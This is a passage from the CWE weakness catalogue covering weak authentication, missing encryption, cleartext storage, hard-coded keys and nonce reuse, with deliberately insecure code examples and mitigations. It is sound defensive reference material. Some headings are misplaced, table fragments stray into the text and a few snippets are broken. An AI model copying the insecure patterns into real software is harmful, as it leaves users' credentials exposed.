Cost effective for partial coverage:

- Host-based Vulnerability Scanners – Examine configuration for flaws, verifying that audit mechanisms work, ensure host configuration meets certain predefined criteria

Dynamic Analysis with manual results interpretation

SOAR High

According to SOAR, the following detection techniques may be useful:

- Highly cost effective:
  - Fuzz Tester
  - Framework-based Fuzzer

Cost effective for partial coverage:

- Forced Path Execution

SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
  - Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
  - Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Demonstrative Examples
Example 1:
In January 2009, an attacker was able to gain administrator access to a Twitter server because the server did not restrict the number of login attempts. The attacker targeted a member of Twitter’s support team and was able to successfully guess the member’s password using a brute force attack by guessing a large number of common words. Once the attacker gained access as the member of the support staff, he used the administrator panel to gain access to 33 accounts that belonged to celebrities and politicians. Ultimately, fake Twitter messages were sent that appeared to come from the compromised accounts.

References

Example 2:
The following code, extracted from a servlet's doPost() method, performs an authentication lookup every time the servlet is invoked.

Java Example:
```java
String username = request.getParameter("username");
String password = request.getParameter("password");
int authResult = authenticateUser(username, password);
```

However, the software makes no attempt to restrict excessive authentication attempts.

Example 3:
This code attempts to limit the number of login attempts by causing the process to sleep before completing the authentication.

PHP Example:
```php
$userName = $_POST['username'];
$password = $_POST['password'];
sleep(2000);
$isAuthenticated = authenticateUser($username, $password);
```
However, there is no limit on parallel connections, so this does not increase the amount of time an attacker needs to complete an attack.

Example 4:
In the following C/C++ example the validateUser method opens a socket connection, reads a username and password from the socket and attempts to authenticate the username and password.

C/C++ Example:
```c
int validateUser(char *host, int port)
{
    int socket = openSocketConnection(host, port);
    if (socket < 0) {
        printf("Unable to open socket connection");
        return(FAIL);
    }
    int isValidUser = 0;
    char username[USERNAME_SIZE];
    char password[PASSWORD_SIZE];
    while (isValidUser == 0) {
        if (getNextMessage(socket, username, USERNAME_SIZE) > 0) {
            if (getNextMessage(socket, password, PASSWORD_SIZE) > 0) {
                isValidUser = AuthenticateUser(username, password);
            }
        }
        count++;
    }
    if (isValidUser) {
        return(SUCCESS);
    } else {
        return(FAIL);
    }
}
```

The validateUser method will continuously check for a valid username and password without any restriction on the number of authentication attempts made. The method should limit the number of authentication attempts made to prevent brute force attacks as in the following example code.

C/C++ Example:
```c
int validateUser(char *host, int port)
{
    ...
    int count = 0;
    while ((isValidUser == 0) && (count < MAX_ATTEMPTS)) {
        if (getNextMessage(socket, username, USERNAME_SIZE) > 0) {
            if (getNextMessage(socket, password, PASSWORD_SIZE) > 0) {
                isValidUser = AuthenticateUser(username, password);
            }
        }
        count++;
    }
    if (isValidUser) {
        return(SUCCESS);
    } else {
        return(FAIL);
    }
}
```

Observed Examples

</tr>
<tr>
<td>CVE-2002-0628</td>
<td>Product does not disconnect or timeout after multiple failed logins.</td>
</tr>
</tbody>
</table>

Potential Mitigations
Architecture and Design
Common protection mechanisms include:
- Disconnecting the user after a small number of failed attempts
- Implementing a timeout
- Locking out a targeted account
- Requiring a computational task on the user's part.

Architecture and Design
Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
Consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator. [R.307.1]

CWE-308: Use of Single-factor Authentication

Weakness ID: 308 (Weakness Base)  Status: Draft

Description

Summary
The use of single-factor authentication can lead to unnecessary risk of compromise when compared with the benefits of a dual-factor authentication scheme.

Extended Description
While the use of multiple authentication schemes is simply piling on more complexity on top of authentication, it is inestimably valuable to have such measures of redundancy. The use of weak, reused, and common passwords is rampant on the internet. Without the added protection of multiple authentication schemes, a single mistake can result in the compromise of an account. For this reason, if multiple schemes are possible and also easy to use, they should be implemented and required.

Time of Introduction
- Architecture and Design

Applicable Platforms
Languages
- All

Common Consequences
**Access Control**

**Bypass protection mechanism**

If the secret in a single-factor authentication scheme gets compromised, full authentication is possible.

**Likelihood of Exploit**

High

**Demonstrative Examples**

In both of these examples, a user is logged in if their given password matches a stored password:

**C Example:**

```c
unsigned char *check_passwd(char *plaintext) {
    ctext = simple_digest("sha1",plaintext,strlen(plaintext), ... );
    //Login if hash matches stored hash
    if (equal(ctext, secret_password())) {
        login_user();
    }
}
```

**Java Example:**

```java
String plainText = new String(plainTextIn);
MessageDigest encer = MessageDigest.getInstance("SHA");
encer.update(plainTextIn);
byte[] digest = password.digest();
//Login if hash matches stored hash
if (equal(digest,secret_password())) {
    login_user();
}
```

This code fails to incorporate more than one method of authentication. If an attacker can steal or guess a user's password, they are given full access to their account. Note this code also exhibits CWE-328 (Reversible One-Way Hash) and CWE-759 (Use of a One-Way Hash without a Salt).

**Potential Mitigations**

**Architecture and Design**

Use multiple independent authentication schemes, which ensures that -- if one of the methods is compromised -- the system itself is still likely safe from compromise.

**CWE-309: Use of Password System for Primary Authentication**

**Weakness ID:** 309 *(Weakness Base)*

**Status:** Draft

**Description**

**Summary**

The use of password systems as the primary means of authentication may be subject to several flaws or shortcomings, each reducing the effectiveness of the mechanism.

**Time of Introduction**

- Architecture and Design
CWE Version 2.11
CWE-309: Use of Password System for Primary Authentication

Applicable Platforms

Languages
• All

Common Consequences

Access Control
Bypass protection mechanism
Gain privileges / assume identity

A password authentication mechanism error will almost always result in attackers being authorized as valid users.

Likelihood of Exploit

Very High

Demonstrative Examples

In both of these examples, a user is logged in if their given password matches a stored password:

C Example:

```c
unsigned char *check_passwd(char *plaintext) {
    ctext = simple_digest("sha1",plaintext,strlen(plaintext), ... );
    //Login if hash matches stored hash
    if (equal(ctext, secret_password())) {
        login_user();
    }
}
```

Java Example:

```java
String plainText = new String(plainTextIn);
MessageDigest encer = MessageDigest.getInstance("SHA");
encer.update(plainTextIn);
byte[] digest = password.digest();
    //Login if hash matches stored hash
    if (equal(digest,secret_password())) {
        login_user();
    }
```

This code fails to incorporate more than one method of authentication. If an attacker can steal or guess a user's password, they are given full access to their account. Note this code also exhibits CWE-328 (Reversible One-Way Hash) and CWE-759 (Use of a One-Way Hash without a Salt).

Potential Mitigations

Architecture and Design

In order to protect password systems from compromise, the following should be noted:

Passwords should be stored safely to prevent insider attack and to ensure that -- if a system is compromised -- the passwords are not retrievable. Due to password reuse, this information may be useful in the compromise of other systems these users work with. In order to protect these passwords, they should be stored encrypted, in a non-reversible state, such that the original text password cannot be extracted from the stored value.

Password aging should be strictly enforced to ensure that passwords do not remain unchanged for long periods of time. The longer a password remains in use, the higher the probability that it has been compromised. For this reason, passwords should require refreshing periodically, and users should be informed of the risk of passwords which remain in use for too long.

Password strength should be enforced intelligently. Rather than restrict passwords to specific content, or specific length, users should be encouraged to use upper and lower case letters, numbers, and symbols in their passwords. The system should also ensure that no passwords are derived from dictionary words.

Architecture and Design

Use a zero-knowledge password protocol, such as SRP.

Architecture and Design

Ensure that passwords are stored safely and are not reversible.
Architecture and Design
Implement password aging functionality that requires passwords be changed after a certain point.

Architecture and Design
Use a mechanism for determining the strength of a password and notify the user of weak password use.

Architecture and Design
Inform the user of why password protections are in place, how they work to protect data integrity, and why it is important to heed their warnings.

Background Details
Password systems are the simplest and most ubiquitous authentication mechanisms. However, they are subject to such well known attacks, and such frequent compromise that their use in the most simple implementation is not practical.

CWE-311: Missing Encryption of Sensitive Data

Weakness ID: 311 (Weakness Base)  Status: Draft

Description

Summary
The software does not encrypt sensitive or critical information before storage or transmission.

Extended Description
The lack of proper data encryption passes up the guarantees of confidentiality, integrity, and accountability that properly implemented encryption conveys.

Time of Introduction
• Architecture and Design
• Operation

Applicable Platforms

Languages
• Language-independent

Common Consequences
Confidentiality
Read application data
If the application does not use a secure channel, such as SSL, to exchange sensitive information, it is possible for an attacker with access to the network traffic to sniff packets from the connection and uncover the data. This attack is not technically difficult, but does require physical access to some portion of the network over which the sensitive data travels. This access is usually somewhere near where the user is connected to the network (such as a colleague on the company network) but can be anywhere along the path from the user to the end server.
Confidentiality
Integrity
Modify application data
Omitting the use of encryption in any program which transfers data over a network of any kind should be considered on par with delivering the data sent to each user on the local networks of both the sender and receiver. Worse, this omission allows for the injection of data into a stream of communication between two parties -- with no means for the victims to separate valid data from invalid. In this day of widespread network attacks and password collection sniffers, it is an unnecessary risk to omit encryption from the design of any system which might benefit from it.

Likelihood of Exploit
High to Very High

Detection Methods
Manual Analysis
High
The characterization of sensitive data often requires domain-specific understanding, so manual methods are useful. However, manual efforts might not achieve desired code coverage within limited time constraints. Black box methods may produce artifacts (e.g. stored data or unencrypted network transfer) that require manual evaluation.

Automated Analysis
Automated measurement of the entropy of an input/output source may indicate the use or lack of encryption, but human analysis is still required to distinguish intentionally-unencrypted data (e.g. metadata) from sensitive data.

Manual Static Analysis - Binary / Bytecode
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Dynamic Analysis with automated results interpretation
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
Web Application Scanner
Web Services Scanner
Database Scanners

Dynamic Analysis with manual results interpretation
SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
Network Sniffer
Cost effective for partial coverage:
Fuzz Tester
Framework-based Fuzzer
Automated Monitored Execution
Man-in-the-middle attack tool

Manual Static Analysis - Source Code
SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
Focused Manual Spotcheck - Focused manual analysis of source
Manual Source Code Review (not inspections)
Automated Static Analysis - Source Code

SOAR Partial
According to SOAR, the following detection techniques may be useful:
- Cost effective for partial coverage:
  - Context-configured Source Code Weakness Analyzer

Architectural / Design Review

SOAR High
According to SOAR, the following detection techniques may be useful:
- Highly cost effective:
  - Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
  - Formal Methods / Correct-By-Construction
- Cost effective for partial coverage:
  - Attack Modeling

Demonstrative Examples

Example 1:
This code writes a user's login information to a cookie so the user does not have to login again later.

**PHP Example:**  
function persistLogin($username, $password){  
    $data = array("username" => $username, "password" => $password);  
    setcookie ("userdata", $data);  
}  

The code stores the user's username and password in plaintext in a cookie on the user's machine. This exposes the user's login information if their computer is compromised by an attacker. Even if the user's machine is not compromised, this weakness combined with cross-site scripting (CWE-79) could allow an attacker to remotely copy the cookie. Also note this example code also exhibits Plaintext Storage in a Cookie (CWE-315).

Example 2:
The following code attempts to establish a connection, read in a password, then store it to a buffer.

**C Example:**
server.sin_family = AF_INET; hp = gethostbyname(argv[1]);
if (hp==NULL) error("Unknown host");
memcpy((char *)&server.sin_addr,(char *)hp->h_addr,hp->h_length);
if (argc < 3) port = 80;
else port = (unsigned short)atoi(argv[3]);
server.sin_port = htons(port);
if (connect(sock, (struct sockaddr *)&server, sizeof server) < 0) error("Connecting");
...
while ((n=read(sock,buffer,BUFSIZE-1))!=-1) {
    write(sockfd,password_buffer,n);
    ...
}

While successful, the program does not encrypt the data before writing it to a buffer, possibly exposing it to unauthorized actors.

Example 3:
The following code attempts to establish a connection to a site to communicate sensitive information.

**Java Example:**
try {
    URL u = new URL("http://www.secret.example.org/");
    HttpURLConnection hu = (HttpURLConnection) u.openConnection();
    hu.setRequestMethod("PUT");
    hu.disconnect();
    OutputStream os = hu.getOutputStream();
    hu.disconnect();
}
catch (IOException e) {
    //...
}

Though a connection is successfully made, the connection is unencrypted and it is possible that all sensitive data sent to or received from the server will be read by unintended actors.

<td>Remote management feature sends sensitive information including passwords in cleartext.</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

**Requirements**

Clearly specify which data or resources are valuable enough that they should be protected by encryption. Require that any transmission or storage of this data/resource should use well-vetted encryption algorithms.

**Architecture and Design**

**Threat Modeling**

Using threat modeling or other techniques, assume that the data can be compromised through a separate vulnerability or weakness, and determine where encryption will be most effective. Ensure that data that should be private is not being inadvertently exposed using weaknesses such as insecure permissions (CWE-732). [R.311.1]

**Architecture and Design**

Ensure that encryption is properly integrated into the system design, including but not necessarily limited to:

- Encryption that is needed to store or transmit private data of the users of the system
- Encryption that is needed to protect the system itself from unauthorized disclosure or tampering

Identify the separate needs and contexts for encryption:

- One-way (i.e., only the user or recipient needs to have the key). This can be achieved using public key cryptography, or other techniques in which the encrypting party (i.e., the software) does not need to have access to a private key.
- Two-way (i.e., the encryption can be automatically performed on behalf of a user, but the key must be available so that the plaintext can be automatically recoverable by that user). This requires storage of the private key in a format that is recoverable only by the user (or perhaps by the operating system) in a way that cannot be recovered by others.
Architecture and Design
Libraries or Frameworks
When there is a need to store or transmit sensitive data, use strong, up-to-date cryptographic algorithms to encrypt that data. Select a well-vetted algorithm that is currently considered to be strong by experts in the field, and use well-tested implementations. As with all cryptographic mechanisms, the source code should be available for analysis.
For example, US government systems require FIPS 140-2 certification.
Do not develop custom or private cryptographic algorithms. They will likely be exposed to attacks that are well-understood by cryptographers. Reverse engineering techniques are mature. If the algorithm can be compromised if attackers find out how it works, then it is especially weak. Periodically ensure that the cryptography has not become obsolete. Some older algorithms, once thought to require a billion years of computing time, can now be broken in days or hours. This includes MD4, MD5, SHA1, DES, and other algorithms that were once regarded as strong. [R.311.5]

Architecture and Design
Separation of Privilege
Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.
Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

Implementation
Architecture and Design
When using industry-approved techniques, use them correctly. Don't cut corners by skipping resource-intensive steps (CWE-325). These steps are often essential for preventing common attacks.

Implementation
Identify and Reduce Attack Surface
Defense in Depth
Use naming conventions and strong types to make it easier to spot when sensitive data is being used. When creating structures, objects, or other complex entities, separate the sensitive and non-sensitive data as much as possible.
This makes it easier to spot places in the code where data is being used that is unencrypted.

Relationship Notes
There is an overlapping relationship between insecure storage of sensitive information (CWE-922) and missing encryption of sensitive information (CWE-311). Encryption is often used to prevent an attacker from reading the sensitive data. However, encryption does not prevent the attacker from erasing or overwriting the data.

CWE-312: Cleartext Storage of Sensitive Information

Description

Summary
The application stores sensitive information in cleartext within a resource that might be accessible to another control sphere.

Extended Description
Because the information is stored in cleartext, attackers could potentially read it. Even if the information is encoded in a way that is not human-readable, certain techniques could determine which encoding is being used, then decode the information.

Terminology Notes
Different people use "cleartext" and "plaintext" to mean the same thing: the lack of encryption. However, within cryptography, these have more precise meanings. Plaintext is the information just before it is fed into a cryptographic algorithm, including already-encrypted text. Cleartext is any information that is unencrypted, although it might be in an encoded form that is not easily human-readable (such as base64 encoding).

Time of Introduction
• Architecture and Design

Applicable Platforms

Languages
• Language-independent

Architectural Paradigms
• Mobile Application

Common Consequences
Confidentiality
Read application data
An attacker with access to the system could read sensitive information stored in cleartext.

Demonstrative Examples

Example 1:
The following code excerpt stores a plaintext user account ID in a browser cookie.

Java Example:
```java
response.addCookie( new Cookie("userAccountID", acctID);
```
Because the account ID is in plaintext, the user's account information is exposed if their computer is compromised by an attacker.

Example 2:
This code writes a user's login information to a cookie so the user does not have to login again later.

PHP Example:
```php
function persistLogin($username, $password){
    $data = array("username" => $username, "password"=> $password);
    setcookie ("userdata", $data);
}
```
CWE Version 2.11
CWE-312: Cleartext Storage of Sensitive Information

The code stores the user’s username and password in plaintext in a cookie on the user’s machine. This exposes the user’s login information if their computer is compromised by an attacker. Even if the user’s machine is not compromised, this weakness combined with cross-site scripting (CWE-79) could allow an attacker to remotely copy the cookie.

Also note this example code also exhibits Plaintext Storage in a Cookie (CWE-315).

Example 3:
The following code attempts to establish a connection, read in a password, then store it to a buffer.

C Example:

```
server.sin_family = AF_INET; hp = gethostbyname(argv[1]);
if (hp==NULL) error("Unknown host");
memcpy( (char *)&server.sin_addr,(char *)hp->h_addr,hp->h_length);
if (argc < 3) port = 80;
else port = (unsigned short)atoi(argv[3]);
server.sin_port = htons(port);
if (connect(sock, (struct sockaddr *)&server, sizeof server) < 0) error("Connecting");
...while ((n=read(sock,buffer,BUFSIZE-1))!=-1) {
    write(dfd,password_buffer,n);
    ...
```

While successful, the program does not encrypt the data before writing it to a buffer, possibly exposing it to unauthorized actors.

Example 4:
The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in plaintext.

This Java example shows a properties file with a plaintext username / password pair.

Java Example:

```
# Java Web App ResourceBundle properties file
...
webapp.ldap.username=secretUsername
webapp.ldap.password=secretPassword
...
```

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in plaintext.

ASP.NET Example:

```
...
<connectionStrings>
<add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;"
   providerName="System.Data.Odbc" />
</connectionStrings>
...
```

Username and password information should not be included in a configuration file or a properties file in plaintext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information and avoid CWE-260 and CWE-13.

<table>
<thead>
<tr>
<th>Weakness ID: 313 (Weakness Variant)</th>
<th>Status: Draft</th>
</tr>
</thead>
<tbody>
<tr>
<td>Description</td>
<td></td>
</tr>
</tbody>
</table>
Summary
The application stores sensitive information in cleartext in a file, or on disk.

Extended Description
The sensitive information could be read by attackers with access to the file, or with physical or administrator access to the raw disk. Even if the information is encoded in a way that is not human-readable, certain techniques could determine which encoding is being used, then decode the information.

Terminology Notes
Different people use "cleartext" and "plaintext" to mean the same thing: the lack of encryption. However, within cryptography, these have more precise meanings. Plaintext is the information just before it is fed into a cryptographic algorithm, including already-encrypted text. Cleartext is any information that is unencrypted, although it might be in an encoded form that is not easily human-readable (such as base64 encoding).

Time of Introduction
• Architecture and Design

Applicable Platforms
Languages
• Language-independent

Common Consequences
Confidentiality
Read application data

Demonstrative Examples
The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in cleartext.

This Java example shows a properties file with a cleartext username / password pair.

Java Example:

```java
# Java Web App ResourceBundle properties file
...
webapp.ldap.username=secretUsername
webapp.ldap.password=secretPassword
...
```

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in cleartext.

ASP.NET Example:

```xml
...
<connectionStrings>
  <add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;"
     providerName="System.Data.Odbc" />
</connectionStrings>
...
```

Username and password information should not be included in a configuration file or a properties file in cleartext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information and avoid CWE-260 and CWE-13

(CAPEC Version 2.10)
CWE Version 2.11
CWE-316: Cleartext Storage of Sensitive Information in Memory

Description

Summary
The application stores sensitive information in cleartext in a cookie.

Extended Description
Attackers can use widely-available tools to view the cookie and read the sensitive information. Even if the information is encoded in a way that is not human-readable, certain techniques could determine which encoding is being used, then decode the information.

Terminology Notes
Different people use "cleartext" and "plaintext" to mean the same thing: the lack of encryption. However, within cryptography, these have more precise meanings. Plaintext is the information just before it is fed into a cryptographic algorithm, including already-encrypted text. Cleartext is any information that is unencrypted, although it might be in an encoded form that is not easily human-readable (such as base64 encoding).

Time of Introduction
• Architecture and Design

Applicable Platforms
Languages
• Language-independent

Common Consequences
Confidentiality
Read application data

Demonstrative Examples
The following code excerpt stores a plaintext user account ID in a browser cookie.

Java Example:
```
response.addCookie(new Cookie("userAccountID", acctID));
```

Because the account ID is in plaintext, the user's account information is exposed if their computer is compromised by an attacker.

CWE-316: Cleartext Storage of Sensitive Information in Memory

560
The application stores sensitive information in cleartext in memory.

The sensitive memory might be saved to disk, stored in a core dump, or remain uncleared if the application crashes, or if the programmer does not properly clear the memory before freeing it. It could be argued that such problems are usually only exploitable by those with administrator privileges. However, swapping could cause the memory to be written to disk and leave it accessible to physical attack afterwards. Core dump files might have insecure permissions or be stored in archive files that are accessible to untrusted people. Or, uncleared sensitive memory might be inadvertently exposed to attackers due to another weakness.

Different people use "cleartext" and "plaintext" to mean the same thing: the lack of encryption. However, within cryptography, these have more precise meanings. Plaintext is the information just before it is fed into a cryptographic algorithm, including already-encrypted text. Cleartext is any information that is unencrypted, although it might be in an encoded form that is not easily human-readable (such as base64 encoding).

Sensitive authentication information in cleartext in memory.

Password protector leaves passwords in memory when window is minimized, even when "clear password when minimized" is set.

SSH client does not clear credentials from memory.

This could be a resultant weakness, e.g. if the compiler removes code that was intended to wipe memory.
Summary
The application stores sensitive information in cleartext within the GUI.

Extended Description
An attacker can often obtain data from a GUI, even if hidden, by using an API to directly access GUI objects such as windows and menus. Even if the information is encoded in a way that is not human-readable, certain techniques could determine which encoding is being used, then decode the information.

Terminology Notes
Different people use "cleartext" and "plaintext" to mean the same thing: the lack of encryption. However, within cryptography, these have more precise meanings. Plaintext is the information just before it is fed into a cryptographic algorithm, including already-encrypted text. Cleartext is any information that is unencrypted, although it might be in an encoded form that is not easily human-readable (such as base64 encoding).

CWE-318: Cleartext Storage of Sensitive Information in Executable

Weakness ID: 318 (Weakness Variant) Status: Draft

Description

Summary
The application stores sensitive information in cleartext in an executable.

Extended Description
Attackers can reverse engineer binary code to obtain secret data. This is especially easy when the cleartext is plain ASCII. Even if the information is encoded in a way that is not human-readable, certain techniques could determine which encoding is being used, then decode the information.

Terminology Notes
Different people use "cleartext" and "plaintext" to mean the same thing: the lack of encryption. However, within cryptography, these have more precise meanings. Plaintext is the information just before it is fed into a cryptographic algorithm, including already-encrypted text. Cleartext is any information that is unencrypted, although it might be in an encoded form that is not easily human-readable (such as base64 encoding).

**CWE-319: Cleartext Transmission of Sensitive Information**

**Weakness ID:** 319 *(Weakness Base)*

**Status:** Draft

**Description**

**Summary**
The software transmits sensitive or security-critical data in cleartext in a communication channel that can be sniffed by unauthorized actors.

**Extended Description**
Many communication channels can be "sniffed" by attackers during data transmission. For example, network traffic can often be sniffed by any attacker who has access to a network interface. This significantly lowers the difficulty of exploitation by attackers.

**Common Consequences**
Integrity
Confidentiality
Read application data
Modify files or directories

Anyone can read the information by gaining access to the channel being used for communication.

Likelihood of Exploit
Medium to High

Detection Methods
Black Box

Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic.

Attach the monitor to the process, trigger the feature that sends the data, and look for the presence or absence of common cryptographic functions in the call tree. Monitor the network and determine if the data packets contain readable commands. Tools exist for detecting if certain encodings are in use. If the traffic contains high entropy, this might indicate the usage of encryption.

Demonstrative Examples

The following code attempts to establish a connection to a site to communicate sensitive information.

Java Example:

```java
Bad Code
try {
    URL u = new URL("http://www.secret.example.org/");
    HttpURLConnection hu = (HttpURLConnection) u.openConnection();
    hu.setRequestMethod("PUT");
    hu.connect();
    OutputStream os = hu.getOutputStream();
    hu.disconnect();
} catch (IOException e) {
    //...
}
```

Though a connection is successfully made, the connection is unencrypted and it is possible that all sensitive data sent to or received from the server will be read by unintended actors.

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2004-1852</td>
<td>Product transmits Blowfish encryption key in cleartext.</td>

<td>Remote management feature sends sensitive information including passwords in cleartext.</td>
</tr>
</tbody>
</table>

Potential Mitigations

Architecture and Design

Encrypt the data with a reliable encryption scheme before transmitting.
Implementation
When using web applications with SSL, use SSL for the entire session from login to logout, not just for the initial login page.

Testing
Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Operation
Configure servers to use encrypted channels for communication, which may include SSL or other secure protocols.

Maintenance Notes
This category should probably be split into multiple sub-categories.

CWE-321: Use of Hard-coded Cryptographic Key

Weakness ID: 321 (Weakness Base) Status: Draft

Description

Summary
The use of a hard-coded cryptographic key significantly increases the possibility that encrypted data may be recovered.

Time of Introduction
• Architecture and Design

Applicable Platforms
Languages
• All
Common Consequences
Access Control
Bypass protection mechanism
Gain privileges / assume identity
If hard-coded cryptographic keys are used, it is almost certain that malicious users will gain
access through the account in question.

Likelihood of Exploit
High

Demonstrative Examples
The following code examples attempt to verify a password using a hard-coded cryptographic key.

C/C++ Example:
```
int VerifyAdmin(char *password) {
    if (strcmp(password,"68af404b513073584c4b6f22b6c63e6b")) {
        printf("Incorrect Password!
"); return(0);
    }
    printf("Entering Diagnostic Mode...
"); return(1);
}
```

Java Example:
```
public boolean VerifyAdmin(String password) {
    if (password.equals("68af404b513073584c4b6f22b6c63e6b")) {
        System.out.println("Entering Diagnostic Mode...");
        return true;
    }
    System.out.println("Incorrect Password!");
    return false;
}
```

C# Example:
```
int VerifyAdmin(String password) {
    if (password.Equals("68af404b513073584c4b6f22b6c63e6b")) {
        Console.WriteLine("Entering Diagnostic Mode...");
        return(1);
    }
    Console.WriteLine("Incorrect Password!");
    return(0);
}
```

The cryptographic key is within a hard-coded string value that is compared to the password. It is
likely that an attacker will be able to read the key and compromise the system.

Potential Mitigations
Architecture and Design
Prevention schemes mirror that of hard-coded password storage.

Other Notes
The main difference between the use of hard-coded passwords and the use of hard-coded
cryptographic keys is the false sense of security that the former conveys. Many people believe that
simply hashing a hard-coded password before storage will protect the information from malicious
users. However, many hashes are reversible (or at least vulnerable to brute force attacks) -- and
further, many authentication protocols simply request the hash itself, making it no better than a
password.

CWE-322: Key Exchange without Entity Authentication

**Description**

**Summary**
The software performs a key exchange with an actor without verifying the identity of that actor.

**Extended Description**
Performing a key exchange will preserve the integrity of the information sent between two entities, but this will not guarantee that the entities are who they claim they are. This may enable a set of "man-in-the-middle" attacks. Typically, this involves a victim client that contacts a malicious server that is impersonating a trusted server. If the client skips authentication or ignores an authentication failure, the malicious server may request authentication information from the user. The malicious server can then use this authentication information to log in to the trusted server using the victim's credentials, sniff traffic between the victim and trusted server, etc.

**Time of Introduction**
- Architecture and Design

**Applicable Platforms**

**Languages**
- Language-independent

**Common Consequences**

**Access Control**

**Bypass protection mechanism**
No authentication takes place in this process, bypassing an assumed protection of encryption.

**Confidentiality**

**Read application data**
The encrypted communication between a user and a trusted host may be subject to a "man-in-the-middle" sniffing attack.

**Likelihood of Exploit**
High

**Demonstrative Examples**
Many systems have used Diffie-Hellman key exchange without authenticating the entities exchanging keys, leading to man-in-the-middle attacks. Many people using SSL/TLS skip the authentication (often unknowingly).

**Potential Mitigations**

**Architecture and Design**
Ensure that proper authentication is included in the system design.

**Implementation**
Understand and properly implement all checks necessary to ensure the identity of entities involved in encrypted communications.
CWE-323: Reusing a Nonce, Key Pair in Encryption

Weakness ID: 323 (Weakness Base) Status: Incomplete

Description

Summary
Nonces should be used for the present occasion and only once.

Time of Introduction

• Architecture and Design

Applicable Platforms

Languages

• All

Common Consequences

Access Control

Bypass protection mechanism

Gain privileges / assume identity

Potentially a replay attack, in which an attacker could send the same data twice, could be crafted if nonces are allowed to be reused. This could allow a user to send a message which masquerades as a valid message from a valid user.

Likelihood of Exploit

High

Demonstrative Examples

Example 1:
This code takes a password, concatenates it with a nonce, then encrypts it before sending over a network:

C Example:  

```c
void encryptAndSendPassword(char *password){
    char *nonce = "bad";
    ...
    char *data = (unsigned char*)malloc(20);
    int para_size = strlen(nonce) + strlen(password);
    char *paragraph = (char*)malloc(para_size);
    SHA1((const unsigned char*)paragraph,parsize,(unsigned char*)data);
    sendEncryptedData(data)
}
```

References

Because the nonce used is always the same, an attacker can impersonate a trusted party by intercepting and resending the encrypted password. This attack avoids the need to learn the unencrypted password.

**Example 2:**
This code sends a command to a remote server, using an encrypted password and nonce to prove the command is from a trusted party:

```java
String command = new String("some command to execute");
MessageDigest nonce = MessageDigest.getInstance("SHA");
nonce.update(String.valueOf("bad nonce"));
byte[] nonce = nonce.digest();
MessageDigest password = MessageDigest.getInstance("SHA");
password.update(nonce + "secretPassword");
byte[] digest = password.digest();
sendCommand(digest, command)
```

Once again the nonce used is always the same. An attacker may be able to replay previous legitimate commands or execute new arbitrary commands.

**Potential Mitigations**

**Implementation**
Refuse to reuse nonce values.

**Implementation**
Use techniques such as requiring incrementing, time based and/or challenge response to assure uniqueness of nonces.

**Background Details**
Nonces are often bundled with a key in a communication exchange to produce a new session key for each exchange.

**CWE-324: Use of a Key Past its Expiration Date**

**Weakness ID:** 324 *(Weakness Base)*

**Status:** Draft

**Description**

**Summary**
The product uses a cryptographic key or password past its expiration date, which diminishes its safety significantly by increasing the timing window for cracking attacks against that key.

**Extended Description**
While the expiration of keys does not necessarily ensure that they are compromised, it is a significant concern that keys which remain in use for prolonged periods of time have a decreasing probability of integrity. For this reason, it is important to replace keys within a period of time proportional to their strength.

**Time of Introduction**
- Architecture and Design

**Applicable Platforms**

**Languages**
- Language-independent
Common Consequences
Access Control
Bypass protection mechanism
Gain privileges / assume identity
The cryptographic key in question may be compromised, providing a malicious user with a method for authenticating as the victim.

Likelihood of Exploit
Low

Demonstrative Examples
The following code attempts to verify that a certificate is valid.

C/C++ Example:
```c
if (cert = SSL_get_peer_certificate(ssl)) {
    foo=SSL_get_verify_result(ssl);
    if ((X509_V_OK==foo) || (X509_V_ERRCERT_NOT_YET_VALID==foo))
       //do stuff
}
```

The code checks if the certificate is not yet valid, but it fails to check if a certificate is past its expiration date, thus treating expired certificates as valid.

Potential Mitigations
Architecture and Design
Adequate consideration should be put in to the user interface in order to notify users previous to the key's expiration, to explain the importance of new key generation and to walk users through the process as painlessly as possible.

CWE-325: Missing Required Cryptographic Step

<table>
<thead>
<tr>
<th>Weakness ID: 325 (Weakness Base)</th>
<th>Status: Incomplete</th>
</tr>
</thead>
</table>

Description

Summary
